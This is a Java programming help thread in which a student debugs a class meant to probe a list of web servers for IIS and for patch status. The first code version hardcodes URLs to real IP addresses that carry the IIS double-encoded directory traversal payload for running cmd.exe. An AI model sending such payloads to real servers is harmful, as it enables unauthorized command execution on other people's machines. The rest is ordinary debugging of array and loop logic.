Help needed with passing an array to a method

Question

here is a small class i'm working on. it's supposed to take each address on an array, and check it for an iis machine, then check a couple of known malformed urls to see if the machine has been patched. my problem is that i can't get the method that does the probing to accept input from the array. it won't even compile, and i'm sure my problem's pretty simple, it's just that i don't quite have afull grasp on java yet. btw, the get/set methods are mandatory, as my instructor refuses to even look at code without them.
import java.net.*;
import java.io.*;
public class PortProbe
     * attribute(s)
     private String[] addressesToBeScanned;
     * accessor methods
     public String[] getAddressesToBeScanned()
          return addressesToBeScanned;
     public void setAddressesToBeScanned(String[] addressesToBeScanned)
          this.addressesToBeScanned = addressesToBeScanned;
     public String getAddressesToBeScanned(int index)
          return addressesToBeScanned[index];
     public void setAddressesToBeScanned(int index, String value)
          addressesToBeScanned[index] = value;
     * helping method to determine the software running on the server
     public void probe80()
          URL myurl = null;
URLConnection urlConnection = null;
          try
               myurl = new URL(getAddressesToBeScanned());
          catch (MalformedURLException mal)
               System.out.println("Exception caught: " + mal);
          try
               urlConnection = myurl.openConnection();
catch (IOException ioe)
               System.out.println("Exception caught: " + ioe);
          System.out.println(urlConnection.getURL());
          System.out.println(urlConnection.getHeaderField("Server"));
     * constructor method(s)
     public PortProbe() //this constructor will initialize each array element individually
          setAddressesToBeScanned(new String[3]);
          setAddressesToBeScanned(0, "http://216.18.80.142/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir");
          setAddressesToBeScanned(1, "http://216.18.84.152/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir");
          setAddressesToBeScanned(2, "http://216.18.84.161/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir");
     * main method
     public static void main(String[] args)
          PortProbe myProbe = new PortProbe();
          for (int i = 0; i < myProbe.addressesToBeScanned.length; i++)
               myProbe.probe80();
               i++;
that's it. can anyone help me out.
thanks

thank you all for your responses. the program now compiles and runs successfully. but the results i'm getting aren't the same as what i'm expecting.
here is the revised code that compiles and runs:
import java.net.*;
import java.io.*;
public class PortProbe
     * attribute(s)
     private String[] addressesToBeScanned;
     * accessor methods
     public String[] getAddressesToBeScanned()
          return addressesToBeScanned;
     public void setAddressesToBeScanned(String[] addressesToBeScanned)
          this.addressesToBeScanned = addressesToBeScanned;
     public String getAddressesToBeScanned(int index)
          return addressesToBeScanned[index];
     public void setAddressesToBeScanned(int index, String value)
          addressesToBeScanned[index] = value;
     * helping method to determine the software running on the server
     public void probe80()
          URL myurl = null;
URLConnection urlConnection = null;
          try
               for (int i = 0; i < getAddressesToBeScanned().length; i++)
                    myurl = new URL(getAddressesToBeScanned());
          catch (MalformedURLException mal)
               System.out.println("Exception caught: " + mal);
          try
               urlConnection = myurl.openConnection();
catch (IOException ioe)
               System.out.println("Exception caught: " + ioe);
          System.out.println(urlConnection.getURL());
          System.out.println(urlConnection.getHeaderField("Server"));
     * constructor method(s)
     public PortProbe() //this constructor will initialize each array element individually
          setAddressesToBeScanned(new String[3]);
          setAddressesToBeScanned(0, "http://216.18.80.142");
          setAddressesToBeScanned(1, "http://137.113.192.101");
          setAddressesToBeScanned(2, "http://216.18.84.161");
     * main method
     public static void main(String[] args)
          PortProbe myProbe = new PortProbe();
          for (int i = 0; i < myProbe.addressesToBeScanned.length; i++)
               myProbe.probe80();
               i++;
please pardon the formatting. there is a constructor that sets the elements in the array. but when i execute the program, this is the output i get:
http://216.18.84.161
null
http://216.18.84.161
null
there is nothing else. and it appears that only one of the elements is being called. i don't know where the nulls are coming from. what the program should do (and did do fine before i started with the arrays) is determine the server software running on the machine being probed. there's got to be a mistake in my logic here somewhere, but i'm not experienced enough yet to find where it is.
thanks again.
